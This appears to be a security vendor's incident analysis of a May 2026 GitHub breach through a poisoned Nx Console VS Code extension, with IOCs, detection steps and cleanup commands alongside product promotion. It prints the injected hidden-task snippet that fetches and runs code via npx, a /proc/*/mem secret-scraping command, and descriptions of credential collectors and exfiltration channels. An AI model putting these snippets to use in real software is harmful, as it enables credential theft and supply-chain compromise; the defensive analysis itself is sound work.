Contents
ToggleExecutive Summary
On May 20, 2026, GitHub confirmed that attackers gained unauthorized access to its internal source code repositories after a poisoned Visual Studio Code extension compromised an employee endpoint. The company assesses with current confidence that roughly 3,800 GitHub-internal repositories were exfiltrated. The threat actor known as TeamPCP, tracked by Google Threat Intelligence Group as UNC6780, claimed responsibility on cybercrime forums and listed the data for offers above $50,000. GitHub has stated there is no evidence of impact to customer organizations, enterprises, or user repositories at the time of disclosure.

GitHub has not formally named the specific extension that delivered the payload. The strongest publicly available candidate, given the timing, attribution, and scale, is nrwl.angular-console v18.95.0 (Nx Console), which was published to the VS Code Marketplace at 12:36 UTC on May 18 with malicious code injected into main.js. The extension carries roughly 2.2 million installations. It was live for 11 minutes before the Nx team detected the rogue publish and pulled it at 12:47 UTC. Wiz Research independently flagged the same extension version on May 19 as part of a coordinated TeamPCP wave that also hit the @antv npm namespace and the actions-cool/issues-helper GitHub Action.
We put together a technical, up-to-date analysis of the compromise and the potential vector that led to the GitHub compromise, whilst we wait for more details.
Two pieces of research from the past seven months frame the technical picture. This is not new; previously, the team at Wiz Research disclosed last October that more than 550 valid secrets had been recovered from VS Code Marketplace and Open VSX extensions, including over 100 Marketplace Personal Access Tokens covering an install base of 85,000 users, which would have allowed the direct push of malicious updates. OpenSourceMalware published a technical breakdown on May 14 of how npm lifecycle scripts and the VS Code tasks.json auto-run system have become the preferred detonation mechanisms for active supply chain campaigns, including the Lazarus Group’s TasksJacker and PolinRider campaigns and TeamPCP’s Mini Shai-Hulud worm.
Update 20 May 7 PM GMT – Confirmed that NXDevtool was the malicious vs code extension with 6K install

Why so many compromises of late?
None of these compromises produced a CVE. Traditional CVE-feed scanners do not see hijacked extensions, leaked publisher tokens, malicious postinstall hooks, or runOn: folderOpen task files. Developer tooling has moved into a real and active position as a primary entry point for supply chain attackers, and most organizations are still running scanners that cannot see it.
Phoenix Blue Intelligence and Phoenix Blue Shield exist for exactly this class of attack. The reason compromises like the Nx Console one keep working is that the packages and extensions that land on developer machines and CI runners are built by open-source maintainers optimizing for feature velocity, not enterprise security posture. That tradeoff is fine for the maintainer. It is not fine for a GitHub employee whose laptop has push access to internal infrastructure, or for an enterprise CI runner whose OIDC identity can publish signed packages. Once an extension is installed, it becomes an attack vector against the developer’s environment, every credential the developer can reach, and every downstream system the developer’s identity is federated into. We saw it with Mini Shai-Hulud, we saw it with Bitwarden CLI, and now we are seeing it with GitHub itself.
Phoenix Blue Intelligence is the detection side. A 77-signal heuristic engine with 94.2% MITRE ATT&CK Enterprise v16 coverage triages over 85% of packages at the deterministic layer across code-level, network, persistence, reconnaissance, metadata, CI/CD, and ecosystem-specific tactics, ecosystem-gated so a Python .pth rule does not misfire on Cargo and an npm install-hook rule does not cross-apply to Maven. Only the sharp end of the distribution reaches the LLM stage, which is where cost and false-positive rate get controlled. A 30-condition policy engine fuses heuristic, Analyst, and Judge verdicts into a strict action lattice (block, require_approval, warn, audit, allow) with auditable rule attribution that maps to CRA Article 14 and DORA evidentiary requirements.
Phoenix Blue Shield is the enforcement side. Firewall agents sit on developer endpoints, in CI/CD pipelines, and around AI coding agents, blocking the install-time, fetch-time, and activation-time vectors used by the Nx Console, Bitwarden CLI, Trivy, and TanStack campaigns.
Malware protection covers install-hook presence, runtime-network egress, persistence, and maintainer-anomaly signals across npm, PyPI, Cargo, RubyGems, Maven, and the VS Code / OpenVSX extension ecosystems. The two layers are deployed together because the same endpoint that runs a vulnerable library is the one that opens a poisoned extension, and a defense that addresses one without the other leaves the gap that TeamPCP keeps walking through. The firewall agents are open source and free to deploy at https://github.com/Security-Phoenix-demo/blue-shield-agent-firewall and github.com/Security-Phoenix-demo/phoenix-firewall for your endpoint The intelligence feed is at phxintel.security.
TL;DR for Engineering Teams
What it is: GitHub-confirmed compromise of an employee endpoint via a poisoned VS Code extension, leading to exfiltration of approximately 3,800 GitHub-internal repositories. Attribution: TeamPCP (UNC6780). No CVE assigned.
Where it bites: Developer workstations running VS Code, OpenVSX, or Cursor/Windsurf forks. Any CI/CD environment installing untrusted npm packages with postinstall hooks. Any GitHub organization with secrets reachable from developer machines.
Why it spread / Why it matters: The same threat actor compromised Trivy, Checkmarx KICS, LiteLLM, Bitwarden CLI, TanStack, UiPath, Mistral AI, OpenSearch, and durabletask earlier in 2026. The Mini Shai-Hulud source code is now public on GitHub under the MIT license. Copycat actors are already publishing variants. GitHub itself has now been hit.
Patch status: No patch available, this is not a CVE. GitHub has rotated critical secrets and isolated the affected endpoint. Mitigations are configuration changes, not version bumps.
Immediate action: Rotate every credential reachable from any GitHub-employee-touching system. Audit installed VS Code extensions for publisher integrity. Set task.allowAutomaticTasks: “off” in VS Code. Set ignore-scripts=true in CI npm configurations. Review the IOC list at the bottom of this article.
Incident Metadata
| Field | Value |
|---|---|
| Affected Organization | GitHub (Microsoft subsidiary) |
| Attack Vector | Poisoned VS Code extension on employee endpoint |
| Likely Extension (per StepSecurity, Wiz analysis) | nrwl.angular-console (Nx Console) v18.95.0; not formally confirmed by GitHub |
| Extension Install Base | ~2.2 million installations |
| Extension Live Window | 11 minutes (May 18, 12:36–12:47 UTC) |
| Distribution Channel | VS Code Marketplace only; OpenVSX unaffected |
| Threat Actor | TeamPCP (UNC6780, also tracked as PCPcat, ShellForce, DeadCatx3, CipherForce) |
| Disclosure Date | May 20, 2026 |
| Detection Date (GitHub) | May 19, 2026 |
| Repositories Exfiltrated | Approximately 3,800 (GitHub-internal only, per current assessment) |
| Customer Data Impact | No evidence at time of disclosure |
| Sale Price on Criminal Forums | Offers above $50,000 |
| CVE Assigned | None |
| Nx GitHub Security Advisory | GHSA-c9j4-9m59-847w |
| Fixed Extension Version | 18.100.0 (clean prior was 18.94.0) |
| Patch Available | Yes for the extension; not applicable for downstream credential compromise (rotation only) |
| Active Exploitation | Confirmed |
Technical Anatomy
Root cause: two ways developer tooling becomes a delivery mechanism
There are two distinct attack patterns in play. Both end in code execution on a developer machine. Both have been weaponized at scale in 2026, and either is consistent with the GitHub breach disclosure.
The extension itself is one pattern. A publisher account is compromised, or a malicious extension is published, and the package is distributed through the Marketplace or OpenVSX with no signal to the installer that anything is wrong. Wiz Research found 100+ valid VS Code Marketplace PATs and 30+ Open VSX Access Tokens leaked inside extension packages on disk. VS Code auto-updates extensions by default. A single leaked PAT gives an attacker push access to every install of every extension that publisher owns. The cumulative install base across the leaked tokens Wiz disclosed was around 150,000, and many of the leaked tokens belonged to vendor-specific extensions distributed to a single enterprise, which means targeted malware delivery to identified workforces was achievable. Microsoft has since added blocking secret detection at publish time, but the historical exposure window is years deep and the OpenVSX ecosystem remains less consistently controlled.
The auto-execution primitive baked into the developer workflow is the other pattern. The VS Code task system supports a runOn: “folderOpen” setting that fires a shell command the moment the folder is opened. Combined with “reveal”: “never” and “echo”: false, the task runs silently in the background. The North Korea-aligned Lazarus Group pioneered the technique in the Contagious Interview campaign, then evolved it through Fake Font, Malicious Dictionary, TasksJacker, and PolinRider. TeamPCP lifted the same primitive in April for Mini Shai-Hulud, bolting it onto a financially motivated npm worm that hit four SAP CAP packages and spread to more than 1,000 repositories in under 24 hours. The technique moved from nation-state to crimeware in under eight weeks from public documentation.
Both patterns are features by design. They depend on a trust assumption (the publisher is benign, the repository is benign) that supply chain attackers have repeatedly demonstrated they can violate.
Exploit Path

With the recent attack we can speculate that Nx or a similar extension was the cause of the attack. The technical detail below maps to nrwl.angular-console v18.95.0 specifically. The same publish-then-detonate pattern applies to any compromised extension regardless of vendor.
1. Initial access. A potential Nx contributor’s GitHub personal access token was stolen in an earlier, separate supply chain incident that has not been publicly identified. The token had push access to nrwl/nx and (directly or via the same account) access to the VS Code Marketplace publishing credentials (VSCE_PAT). This is the standard TeamPCP pattern. The Trivy compromise started the same way. The Bitwarden CLI compromise started the same way.
2. Dangling orphan commit planted in the legitimate repository. At 03:18 UTC on May 18, the attacker pushed an orphan commit (558b09d7ad0d1660e2a0fb8a06da81a6f42e06d2) to nrwl/nx. The commit has zero parents, is not reachable from any branch, and can only be fetched if a caller already knows the SHA. The GitHub UI does not show it. The commit was attributed to a former Nx contributor (zack@nrwl.io) whose other recent commits are GPG-signed. This one was unsigned. The commit message contained a social engineering threat: “Don’t delete this commit before 24 hours or wiper activates.” The threat is fake. It is designed to delay cleanup if someone discovers the commit.
The commit’s tree replaced the entire Nx monorepo with a two-file package: a package.json declaring bun@^1.3.14 as a dependency, and a 498 KB obfuscated index.js. The Bun dependency is intentional. The payload starts with #!/usr/bin/env bun and relies on Bun APIs for its persistence and runtime behavior. Installing the bun npm package pulls in the Bun runtime as a side effect, giving the payload the environment it needs without any explicit user install step.
3. Malicious extension published. At 12:36 UTC on May 18, the attacker published nrwl.angular-console v18.95.0 to the VS Code Marketplace using the stolen VSCE_PAT. The extension was built locally by the attacker, with 2,777 bytes of malicious code injected at byte offset 7,703,700 in the minified main.js. The Nx team detected the rogue publish 11 minutes later and pulled the extension at 12:47 UTC. Auto-update was enough to deliver it inside that window.
4. Extension activation triggers payload fetch. The injected code runs the instant a developer opens any workspace in VS Code. The function Efn(td) is called from the extension’s activate() entry point. It checks VS Code’s globalState for the key nxConsole.mcpExtensionInstalledSha. If the stored value does not match the hardcoded SHA, it creates a background VS Code Task:
let n = `npx -y github:nrwl/nx#${G5t}`;
let i = new U0.Task(
{ type: “nx” },
U0.TaskScope.Workspace,
“install-mcp-extension”, // disguised task name
“nx”,
new U0.ShellExecution(n, {
cwd: e,
env: { …process.env, NX_CONSOLE: “true” }
})
);
i.presentationOptions.focus = false; // hidden from user
The task name install-mcp-extension mimics legitimate Nx Console functionality. The -y flag on npx auto-confirms the install. The presentationOptions.focus = false setting prevents the terminal panel from stealing focus, so the developer never sees the task run. On success, the SHA is stored in globalState so the extension does not re-trigger on subsequent workspace opens.
5. Orphan commit delivers the obfuscated dropper. When npx -y github:nrwl/nx#558b09d7 runs, npm fetches the Git tree at that SHA. Because the commit replaces the monorepo root with just a package.json and index.js, npm treats it as a standalone package named nx-next. It installs the declared dependency (bun@^1.3.14), pulling in the Bun runtime, then executes index.js via the bin entry. There are no preinstall or postinstall hooks on the dropper, which means the execution happens through the bin field and avoids the lifecycle-script scanners that would normally catch this.
6. Anti-analysis gates. Before doing anything sensitive, the payload runs through a series of checks. If os.cpus().length < 4, it exits cleanly with code 0, which skips most Docker containers and lightweight sandbox VMs. It reads GITHUB_WORKFLOW_REF and GITHUB_REPOSITORY to self-exclude on the attacker’s own infrastructure. It applies a geolocation filter based on Intl.DateTimeFormat().resolvedOptions().timeZone and locale environment, consistent with the Russian/CIS exclusion pattern TeamPCP has used in every prior campaign. A lock file in os.tmpdir() prevents duplicate execution.
7. Self-daemonization. The payload forks itself as a detached background process, sets __DAEMONIZED=1 to prevent recursive forking, and exits the parent with code 0. The VS Code task appears to complete normally. The daemon inherits no stdio, so it is invisible in the terminal panel.
8. Six parallel credential collectors. The daemon runs six dedicated collector classes in parallel, plus dynamic per-repository collectors for any GitHub tokens it finds:
- Vault (class v0): reads ~/.vault-token, /etc/vault/token, /run/secrets/VAULT_TOKEN and similar paths; attempts Kubernetes auth at /v1/auth/kubernetes/login and AWS IAM auth at /v1/auth/aws/login
- npm (class D0): reads .npmrc, validates via /-/whoami, enumerates organizations and maintainer packages, exchanges OIDC tokens via /-/npm/v1/oidc/token/exchange/package/
- AWS (class j0): queries IMDS at 169.254.169.254 and ECS metadata at 169.254.170.2, reads Web Identity tokens, enumerates Secrets Manager and SSM Parameter Store, performs SigV4-signed requests
- GitHub (class f0): pattern-matches ghp_, gho_, ghs_ tokens; queries /actions/secrets and /actions/organization-secrets; scrapes runner process memory via /proc/*/mem
- Filesystem (class p0): regex scans for private keys, connection strings, GCP service accounts, Docker registry auth, and Claude Code config under ~/.claude/
- 1Password (class s0): interacts with the op CLI to list vaults and retrieve secrets
On Linux hosts, the payload also probes for passwordless sudo (sudo -n true). If it succeeds, it injects a sudoers rule to grant full passwordless access. The /proc/*/mem scan pulls secrets directly out of running process memory using the pattern:
tr -d ‘\0’ | grep -aoE ‘”[^”]+”:{“value”:”[^”]*”,”isSecret”:true}’ | sort -u
This extracts the isSecret:true JSON envelope used by GitHub Actions Runner.Worker for masked secret values. It is the same Runner.Worker memory-scraping technique TeamPCP used in the Trivy compromise.
9. Multi-channel exfiltration. Harvested credentials are buffered until a 102,400-byte flush threshold is reached, then dispatched through three independent transport channels. Any one succeeding is enough for the attacker:
- HTTPS POST to a C2 domain on port 443. The domain is double-encrypted in the payload (string table + PBKDF2 with 200,000 iterations of SHA-512). Static analysis cannot recover it.
- GitHub API exfiltration using any discovered GitHub tokens. The payload creates commits or release artifacts on the victim’s own repositories, traffic that corporate firewalls will not block because it is bound for api.github.com.
- DNS tunneling. Encrypted data is encoded into DNS queries via the dns module as a fallback.
All exfiltrated data is encrypted with hybrid AES-256-GCM + RSA-OAEP (SHA-256), with zlib compression applied before encryption. Only the holder of the embedded RSA private key can decrypt.
Sigstore attestation forgery breaks the signed-provenance defense
The capability in the Nx Console payload that deserves the most attention is full Sigstore integration. The relevant endpoints are present in the code:
- https://fulcio.sigstore.dev for short-lived signing certificates
- https://rekor.sigstore.dev for transparency log submission
- https://slsa.dev/provenance/v1 for SLSA provenance attestation generation
- https://in-toto.io/Statement/v1 for in-toto attestation statements
- registry.npmjs.org/-/npm/v1/oidc/token/exchange/package/ for the npm Trusted Publishing OIDC flow
Combined with stolen OIDC tokens (which the npm collector specifically exchanges via the OIDC trusted-publishing flow), this means the attacker can publish downstream npm packages with valid, verifiable provenance attestations. The Sigstore transparency log will accept and serve them. npm audit signatures will return a clean result. SLSA verifiers will see a chain that terminates in a real Fulcio cert tied to a real OIDC identity. The package will look, to every automated provenance check, like a legitimately built and signed release.
This is a meaningful blow to the supply chain security narrative that has been building for the past two years. The industry has been moving toward signed-provenance as the answer to package compromise. The Bitwarden CLI compromise in April 2026 already showed that OIDC Trusted Publishing can be abused through a compromised workflow. The Nx Console payload generalizes that finding. Any developer endpoint with a valid OIDC publishing identity can produce attested-but-malicious packages. Signature verification alone is no longer a reliable defense for the consumer.
Persistence and follow-on access
If the gate checks pass and the daemon completes its collection phase, the payload writes ~/.local/share/kitty/cat.py, a Python-based C2 backdoor, and registers it via a macOS LaunchAgent at ~/Library/LaunchAgents/com.user.kitty-monitor.plist with RunAtLoad=true and StartInterval=3600 (hourly poll). The kitty/cat.py naming is consistent with TeamPCP’s documented cat motif from prior OX Security reporting.
The Python backdoor uses the GitHub Search API as a dead-drop channel. Every hour it queries api.github.com/search/commits?q=firedalazer&sort=committer-date&order=desc&per_page=1. It parses the latest matching commit message for a payload in the form firedalazer <base64-url>.<base64-signature>, verifies the signature against an embedded 4096-bit RSA public key using RSA-PSS with MGF1 and SHA-256, and if valid downloads and executes the URL with python3 (5-minute timeout). Execution state is recorded in /var/tmp/.gh_update_state for anti-replay.
The C2 channel choice matters. api.github.com is rarely blocked at the egress. The traffic looks like ordinary developer activity. There is no fixed C2 domain that can be sinkholed.
StepSecurity notes that in at least three confirmed cases the Python backdoor failed to establish its C2 loop because the requests module was unavailable and pip install failed. The JavaScript collector phase had already completed by that point, so credential exfiltration via the JS stage should be assumed successful regardless of whether the persistent Python backdoor came up.
Obfuscation summary
The 498 KB payload uses four overlapping obfuscation layers, each aimed at a different class of analysis. A 1,729-entry string table with custom Base64 alphabet (lowercase before uppercase, opposite to RFC 4648) decoded via _0x8a48(). A PBKDF2-derived decryption layer using 200,000 iterations of SHA-512 producing a 32-byte key, with the global decryptor f331366c0() performing multi-round XOR with SHA-256-derived subkeys. Hex identifier mangling across all functions and variables, with property access routed through the string table. Fourteen encrypted binary blobs containing the RSA public key, shell scripts, and the Python backdoor source. The C2 domain, C2 path, and 84 encrypted environment variable names cannot be recovered without executing the PBKDF2 key derivation, which is the main barrier to static analysis.
Why this vector crosses the zero-CVE gap
Traditional vulnerability management is built around the CVE feed. The premise is that vulnerable code has a known fingerprint and scanners can match installed versions against advisories. That model breaks down across every part of the GitHub case.
A malicious VS Code extension does not get a CVE. It is not a vulnerable component, it is a working installer for the attacker’s tooling. Software Composition Analysis on the host’s package manifests will not flag it. SCA scans package.json and requirements.txt, not the VS Code extension store.
Mini Shai-Hulud, the worm currently linked operationally to TeamPCP and the broader npm/PyPI compromise wave, also has no CVE for the core technique. The first Mini Shai-Hulud wave on April 29 affected mbt, @cap-js/db-service, @cap-js/sqlite, and @cap-js/postgres. The May 11 wave hit 84 versions across 42 TanStack packages and propagated to over 170 packages including @uipath, @mistralai, @squawk, and @opensearch-project, with PyPI compromises of guardrails-ai and mistralai. Aikido tracked 373 malicious package-versions across 169 names in the current wave. The Phoenix Security article archive documents the technical detail for each. No CVE was assigned for the worm itself.
A defender whose primary control is CVE-feed-based scanning sees none of this. The GitHub breach is what happens at the high end of that gap.
Affected Components
| Component | Affected State | Notes |
|---|---|---|
| nrwl.angular-console (Nx Console) | v18.95.0 malicious; v18.94.0 clean; v18.100.0 remediated | VS Code Marketplace only. ~2.2 million installations. Live 11 minutes (May 18, 12:36–12:47 UTC). Second Nx supply chain compromise in 12 months. |
| VS Code Marketplace (publisher tokens) | Microsoft now blocks secret-laden publishes; historical PAT leakage covers years | Wiz Research disclosed 100+ valid Marketplace PATs in Oct 2025; ~85,000 install base of affected publishers |
| Open VSX (used by Cursor, Windsurf, AI VS Code forks) | Less mature controls than Marketplace; ovsxp_ token prefix added in 2025 | Cumulative install base of leaked OVSX tokens ~100,000. Not affected by the May 18 Nx Console publish. |
| actions-cool/issues-helper (GitHub Action) | Compromised in May 19 wave per Wiz Research | Same TeamPCP coordinated campaign |
| @antv/* npm namespace | Multiple packages with malicious preinstall and optionalDependencies hooks | Wave 1: 317 versions in 17 minutes; Wave 2: 314 versions in ~6 seconds |
| @tanstack/* (84 versions across 42 packages) | Compromised May 11 via OIDC token abuse and bundle-size.yml cache poisoning | @tanstack/react-router carries ~12 million weekly downloads |
| @cap-js/db-service, @cap-js/sqlite, @cap-js/postgres, mbt | Compromised in Mini Shai-Hulud April 29 wave | Pin to clean versions listed in remediation |
| durabletask (PyPI, official Microsoft client) | Compromised in May 19 TeamPCP wave | Per SlowMist alert |
For an organization, the question is not whether you maintain one of these specific packages. The relevant scope is: any developer endpoint or CI runner that has installed any VS Code extension from either Marketplace, or any npm/PyPI package from a maintainer whose token could have been harvested through any of the above compromises, in the last six months.
Exposure Analysis
| Environment | Risk Level | Reason |
|---|---|---|
| Developer workstations with VS Code or OpenVSX-based editors | Critical | Direct execution context for the extension; access to local credentials, source code, and AI tool configurations |
| CI/CD pipelines running npm install without –ignore-scripts | Critical | postinstall and preinstall hooks fire automatically; CI tokens, OIDC identities, and cloud credentials all reachable |
| GitHub organizations with cross-repo PAT scopes | High | Compromised developer PAT can be used to push malicious commits or workflow files org-wide |
| Internal extension distribution channels | High | Vendor-specific extensions with low install counts are easier targets and harder to detect at scale |
| AI coding agent installations (Claude Code, Copilot, Gemini, Amazon Q) | High | Mini Shai-Hulud and the TeamPCP open-source code explicitly target these tools’ config files for persistence |
| Cloud workloads with IMDS reachable from runners | High | IMDS path is a known TeamPCP technique for cloud credential pivot |
| Air-gapped or VS Code-disabled environments | Low | Extension delivery vector not present; npm vector still applies if dependencies are mirrored |
GitHub’s own exposure profile shows why this category matters. One endpoint produced access to roughly 3,800 internal repositories. The access path was a feature in a piece of developer tooling working exactly as designed.

Real-world impact
The blast radius of a poisoned VS Code extension on one developer endpoint is not bounded by that endpoint. There are several reasons why, and any one of them on its own would justify the concern.
Production AWS keys, kubeconfigs, Vault tokens, GitHub PATs with repo and workflow scope, npm publishing tokens, signing certificates, and SSH keys for production hosts are routinely present on at least some developer endpoints in most engineering organizations. A single compromise produces lateral movement opportunities that a server-side breach typically does not.
OIDC trust chains make the second-order damage worse. TeamPCP’s Bitwarden CLI compromise in April 2026 was achieved by abusing a Bitwarden developer’s GitHub OIDC identity through a compromised pull-request workflow, then leaking the resulting short-lived npm Trusted Publishing token in plain text inside the build log. The same OIDC-abuse pattern recurred in the TanStack compromise. OIDC removes the long-lived publishing token, but only on the assumption that the workflow producing the short-lived token is itself trustworthy. A compromised developer endpoint that can edit a publish workflow breaks that assumption.
Then the worm pattern kicks in. Once the attacker has credentials to publish a package or push a commit, Mini Shai-Hulud’s findNpmTokens() routine scrapes .npmrc files and environment variables to enumerate every package the victim can publish, and republishes each with the worm bolted on. One compromised maintainer becomes a force multiplier across every package they own. For GitHub specifically, the prize is not just the 3,800 internal repos. It is whatever signing keys, deployment workflows, or production identities those repos contain.
Real-world activity confirmed in the last 60 days that connects to this same threat actor:
- 84 malicious TanStack package versions published May 11
- 42+ TanStack packages, 50+ UiPath packages, plus @mistralai, @squawk, @opensearch-project compromised in the same wave
- PyPI compromise of guardrails-ai and mistralai
- @antv namespace mass-republish on May 19 (317 + 314 versions in two waves)
- VS Code extension nrwl.angular-console v18.95.0 published as part of the May 19 wave
- GitHub-internal repository exfiltration disclosed May 20
The Vect ransomware group announced in April that it was targeting organizations previously breached by TeamPCP, naming property-management SaaS Guesty as the first victim. Vect’s payload destroys files larger than 128KB with no decryption path, so downstream organizations should not assume that paying the ransom recovers data. Supply chain compromise feeding directly into secondary extortion is now an operational pattern.
Protect yourself with the latest threat intelligence, get access to PHOENIX BLUE Today
Detection Guidance
Log Indicators
For developer endpoints with VS Code or any OpenVSX-based editor installed:
- Outbound network connections from Code.exe, code (macOS/Linux), cursor, windsurf, or electron processes to non-Microsoft, non-vendor domains
- DNS resolution from a developer machine to *.lhr.life (SSH-tunnel-as-a-service used by Mini Shai-Hulud copycats)
- Spawning of bun, bunx, or pnpx processes by an IDE process where Bun is not part of the local toolchain
- Unexpected node processes invoked by VS Code’s task runner on workspace open
- Creation of files at ~/.vscode/tasks.json or .vscode/tasks.json containing runOn: folderOpen
- Modifications to .claude/settings.json, .cursor/settings.json, or local MCP server configuration files in repositories where they did not exist before
- Creation of repositories matching the Dune-themed naming regex (atreides, fremen, sandworm, sardaukar, harkonnen, melange, mentat, sietch, tleilaxu, stillsuit) under any user or organization account
For CI/CD runners:
- npm install operations triggering download of the Bun runtime from github.com/oven-sh/bun/releases on runners where Bun is not expected
- Process trees containing npm install → node → bun.exe → index.js, or npm install → dash → prepare hook
- curl or wget POST operations to typosquatted vendor domains (audit.checkmarx[.]cx, scan.aquasecurtiy[.]org, *.lhr.life, git-tanstack[.]com)
- Reads from /proc/[pid]/mem targeting Runner.Worker (TeamPCP’s signature memory-scraping technique for GitHub Actions secret extraction)
- Outbound HTTPS to any Internet Computer Protocol gateway (*.icp0.io) from CI runners
Scanner References
- Phoenix Security ASPM platform: maps VS Code extension inventory and npm dependency graph to runtime exposure; flags lifecycle script changes across maintainers
- Phoenix security Shield scanners for malicious pacakage https://phxintel.security/malware
- Phoenix Security Blue Shield malware intelligence for your scanners https://github.com/Security-Phoenix-demo/phoenix-firewall and https://github.com/Security-Phoenix-demo/blue-shield-agent-firewall for your agents
- Phoenix Security Shai-Hulud / Sha1-Hulud scanner: github.com/Security-Phoenix-demo/Shai-Hulud-Sha1-Hulud-V2-npm-compromise-scanner
- StepSecurity Harden-Runner: network anomaly detection and egress allowlisting for GitHub Actions runners
- Boost Security poutine: organization-wide CI/CD risk scanner; detects pull_request_target misconfigurations that match the TeamPCP initial access pattern
- Socket Security: real-time npm install blocking against known-malicious packages
- Aikido Security: malware feed detection for npm and PyPI
- JFrog Curation / Xray, Snyk, Endor Labs: organizational SCA feeds with malware-aware blocking
Verification Steps for Teams
- Check for the specific malicious extension version on every developer endpoint:
code –list-extensions –show-versions | grep angular-console
If the result is nrwl.angular-console@18.95.0, the machine was exposed during the May 18, 12:36–12:47 UTC window. Update to 18.100.0 or later immediately. Cursor, Windsurf, and other VS Code-based editors that pull from the Marketplace are equally exposed.
- Check for Nx Console payload persistence artifacts on macOS:
ls -la ~/.local/share/kitty/cat.py
ls -la ~/Library/LaunchAgents/com.user.kitty-monitor.plist
ls -la /var/tmp/.gh_update_state
ls -d /tmp/kitty-* 2>/dev/null
Any of these existing indicates a persistent backdoor. On Linux, also check for unexpected __DAEMONIZED=1 environment variables on running processes and for sudoers rules the user did not author.
- Check the VS Code globalState for the payload’s anti-replay key. The payload stores nxConsole.mcpExtensionInstalledSha set to 558b09d7ad0d1660e2a0fb8a06da81a6f42e06d2. Presence of that exact value is a high-confidence indicator that the orphan-commit dropper ran.
- Inventory installed VS Code extensions across all developer endpoints. Compare publisher names, install counts, and extension IDs against an approved list. Flag any extension whose publisher has not been verified or whose install count is implausibly low for the apparent legitimacy of the extension. StepSecurity Dev Machine Guard does this automatically and is free in community mode.
- Search the global VS Code task auto-run setting on every endpoint: code –status or read settings.json for task.allowAutomaticTasks. Set it to “off” everywhere it is currently “on”.
- Grep all repositories cloned in the last 90 days for .vscode/tasks.json containing runOn and folderOpen. Treat any unauthored example as suspicious.
- Search organization-wide GitHub for .claude/settings.json and .cursor/settings.json additions, especially under the author identity claude@users.noreply.github.com or any unverified contributor.
- Audit GitHub organization access logs for repositories cloned by any compromised PAT in the last 30 days. Cross-reference cloned repos against the 3,800-count GitHub disclosure if your organization is in any way federated with GitHub identities.
- Search for the orphan-commit fetch in CI workflow logs and developer machine command history. The signature is npx -y github:nrwl/nx#558b09d7 or any Bun runtime invocation under /tmp/kitty-*.
- Run the Phoenix Security Shai-Hulud scanner against every package.json and lockfile in your organization.
- Audit npm packages your organization publishes for unexpected patch-version bumps since April 22, 2026.
Remediation
Immediate Actions
- Update Nx Console to version 18.100.0 or later in VS Code, Cursor, and any other VS Code-based editor across every developer endpoint. The clean prior version is 18.94.0. Any 18.95.0 install is malicious.
- Stop ongoing execution on machines that were exposed to v18.95.0:
pkill -f __DAEMONIZED
pkill -f “kitty-“
pkill -f “cat.py”
Remove persistence artifacts:
rm -f ~/.local/share/kitty/cat.py
rm -f ~/Library/LaunchAgents/com.user.kitty-monitor.plist
launchctl unload ~/Library/LaunchAgents/com.user.kitty-monitor.plist 2>/dev/null
rm -rf /tmp/kitty-*
rm -f /var/tmp/.gh_update_state
On Linux, audit /etc/sudoers and /etc/sudoers.d/ for unauthorized passwordless-sudo rules the user did not author.
- Rotate every credential reachable from any exposed endpoint, not just the ones written to disk. The collector phase reaches into password managers, cloud metadata services, and remote secret stores. Anything the user could touch should be assumed compromised. The full rotation list:
- Local credentials on disk: GitHub tokens, npm tokens (~/.npmrc), SSH keys, AWS credentials, Azure/GCP CLI tokens, Vault tokens, API keys, database passwords, and any secrets in .env files across all projects on the machine.
- 1Password vault items accessed via the op CLI. Review item access history per vault during the compromise window and rotate every accessed item. This applies even to teams that adopted the CLI specifically to avoid storing secrets on disk. Secrets fetched at runtime are still readable by anything running as the user.
- HashiCorp Vault secrets accessible to the stolen token. Beyond rotating the token, pull Vault audit device logs and rotate every secret the token could read. If Kubernetes auth or AWS IAM auth methods were configured, rotate the underlying service accounts and IAM roles.
- AWS Secrets Manager and SSM Parameter Store entries. Review CloudTrail for GetSecretValue, GetParameter, and GetParametersByPath calls from the affected principal during the compromise window. Rotate everything that was read. If the machine assumed an EC2 role via IMDS or an ECS task role, rotate that role and every secret it could reach.
- GitHub Actions secrets at repository and organization level. The GitHub collector queries /repos/{owner}/{repo}/actions/secrets and /orgs/{org}/actions/secrets for every repository and organization the stolen token could reach. Rotate Actions secrets across every repository and organization where the token had the required access, not only the ones the developer personally worked with.
- Kubernetes credentials: kubeconfig entries, in-cluster service account tokens mounted at /var/run/secrets/kubernetes.io/serviceaccount/, and any Kubernetes auth roles in Vault.
- AI coding assistant credentials: Anthropic API keys, MCP server credentials referenced in ~/.claude/settings.json, and any equivalent configuration files for Gemini, Copilot, Codex, and Amazon Q. Review the MCP servers for unexpected activity.
- Secrets resident in process memory at any point during the compromise window. On Linux, /proc/*/mem was readable to the collector. Anything in a running process at the time, including environment variables passed to the IDE, terminal sessions, local dev servers, and CI runner agents, should be treated as exposed.
- Audit logs across every system the exposed machine could reach. GitHub security log (repository creation, PAT creation, SSH key additions, OAuth app authorizations, Actions workflow modifications). 1Password sign-in attempts and per-item access history. Vault audit device logs. AWS CloudTrail for the affected IAM principal. npm token list and Sigstore transparency log at search.sigstore.dev for unexpected attestations under your publishing identity.
- For high-sensitivity environments, reimage the affected machine after credentials are rotated rather than relying on the targeted cleanup above. The payload ran as the user, attempted privilege escalation, installed persistence, and had the ability to make changes beyond what the cleanup commands address. The Sigstore-forgery capability means any npm package published from that machine during the compromise window should be inspected for content, not just signature.
- Audit installed VS Code and OpenVSX extensions across all developer endpoints. Remove anything unverified. If a publisher’s reputation cannot be independently confirmed, default to removal.
- Set task.allowAutomaticTasks: “off” in the global VS Code settings.json for every developer environment. The default changed in VS Code 1.109 but users who upgraded from prior versions inherited the old setting. Force the new default.
- Set ignore-scripts=true in .npmrc for every CI environment. Lifecycle scripts on dev machines are harder to disable wholesale since some packages genuinely require them, but CI runners almost never need them and the blast radius of a poisoned postinstall in CI is significantly higher.
- If using yarn, add –allow-git=none to install commands or set it in .npmrc. The npm CLI v11.10.0 mitigation against malicious git dependencies replacing the git binary applies only when –allow-git is explicitly set; the default remains all for backward compatibility.
- Block known IOC domains and the malicious Git commit SHA at the egress and DNS resolver layer (full list in the IOC table below).
Temporary Mitigations
For organizations that cannot apply the full remediation immediately:
- Default npm install to –ignore-scripts in CI and accept that some packages will fail. Investigate the failures; most will be either legitimate native modules with documented build steps, or packages whose lifecycle script use is suspect enough to merit review.
- Use pnpm v10+ or Bun-as-installer where possible. Both disable lifecycle scripts by default and require explicit opt-in. This is a meaningful security improvement over npm’s defaults.
